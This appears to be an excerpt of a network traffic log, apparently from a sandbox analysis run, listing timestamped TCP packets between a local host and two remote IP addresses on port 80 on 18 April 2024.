Apr 18, 2024 23:40:10.685179949 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.685194016 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.927264929 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.927325964 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.930780888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.930800915 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.930819035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.930866957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.931057930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.931076050 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.931092978 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.931101084 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.931119919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.931134939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.931138992 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.931157112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.931174994 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.931209087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.931222916 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.931226015 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.931246042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.931248903 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.931262970 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.931286097 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.933005095 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.933038950 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.933051109 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.933058977 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.933100939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.934911013 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.934953928 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.934977055 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.934994936 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935012102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935019970 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935029984 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935048103 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935053110 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935065985 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935070038 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935091019 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935111046 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935113907 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935134888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935153961 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935158968 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935178041 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935257912 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935275078 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935291052 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935292959 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935309887 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935312033 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935328007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935332060 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935345888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935352087 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935359001 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935363054 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935380936 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935384035 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935390949 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935406923 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935410976 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935426950 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935446024 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935462952 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935475111 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935480118 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935497999 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935502052 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935514927 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935537100 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935631990 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935650110 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935666084 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935683966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935688019 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935699940 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935700893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935719013 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935720921 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935736895 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935741901 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935755014 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935756922 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935770035 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935774088 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935791016 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935791969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935805082 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935807943 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935826063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935831070 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935844898 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935859919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935859919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935863018 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935879946 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935892105 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935892105 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935904026 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935914040 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935921907 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935939074 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935944080 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935956001 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935956955 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935969114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935975075 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.935991049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.935992002 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936009884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936012983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936024904 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936029911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936047077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936047077 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936063051 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936064959 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936081886 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936081886 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936105013 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936110973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936125994 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936129093 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936150074 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936167955 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936186075 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936189890 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936207056 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936209917 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936228991 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936233044 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936239958 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936245918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936261892 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936261892 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936279058 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936295033 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936312914 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936312914 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936331034 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936336040 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936348915 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936356068 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936369896 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936369896 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936378956 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936397076 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936410904 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936415911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936434984 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936453104 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936461926 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936469078 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936470032 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936479092 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936496019 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936506033 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936518908 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936527967 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936530113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936539888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936542988 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936552048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936553955 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936562061 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936563015 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936578989 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936583996 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936595917 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936598063 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936605930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936618090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936626911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936635017 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936636925 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936644077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936647892 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936655998 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936659098 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936671972 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936672926 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936675072 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936676979 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936678886 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936681032 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936686039 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936691046 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936701059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936709881 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936713934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936719894 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936729908 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936739922 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936742067 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936753035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936762094 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936763048 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936773062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936775923 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936783075 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936793089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936799049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936803102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936815023 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936825037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936825991 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936835051 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936837912 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936845064 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936855078 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936863899 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936865091 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936868906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936870098 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936880112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936882019 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936889887 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936901093 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936903954 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936909914 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936918974 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936920881 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936929941 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936935902 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936939955 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936942101 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936952114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936958075 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936961889 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936971903 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936975002 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936976910 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936979055 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936981916 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.936990023 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.936992884 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937000990 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937011003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937019110 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937021017 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937031031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937040091 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937041998 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937052965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937057018 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937062979 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937067032 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937073946 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937084913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937088013 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937096119 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937107086 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937109947 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937117100 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937131882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937134981 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937146902 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937155962 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937161922 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937165976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937175989 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937180042 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937186956 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937196016 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937196016 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937208891 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937218904 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937225103 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937230110 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937239885 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937252045 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937262058 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937266111 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937272072 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937283039 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937283993 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937294960 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937304974 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937309027 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937315941 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937316895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937326908 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937336922 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937340021 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937347889 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937357903 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937362909 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937377930 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937377930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937397003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937397957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937417030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937419891 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937433004 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937436104 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937453032 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937453985 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937472105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937474012 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937489033 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937500000 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937508106 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937515020 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937527895 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937545061 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937567949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937578917 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937588930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937602043 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.937625885 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937625885 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937625885 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937627077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937627077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.937696934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:11.187258959 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:11.187577963 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:11.924196959 CEST	49743	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:11.924457073 CEST	49745	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:12.168334007 CEST	80	49745	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:12.168472052 CEST	49745	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:12.171200991 CEST	80	49743	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:12.171269894 CEST	49743	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:12.178420067 CEST	49745	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:12.422266960 CEST	80	49745	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:12.426331997 CEST	80	49745	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:12.429295063 CEST	49745	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:12.455566883 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:12.456492901 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:12.703758955 CEST	80	49746	193.233.132.167	192.168.2.4
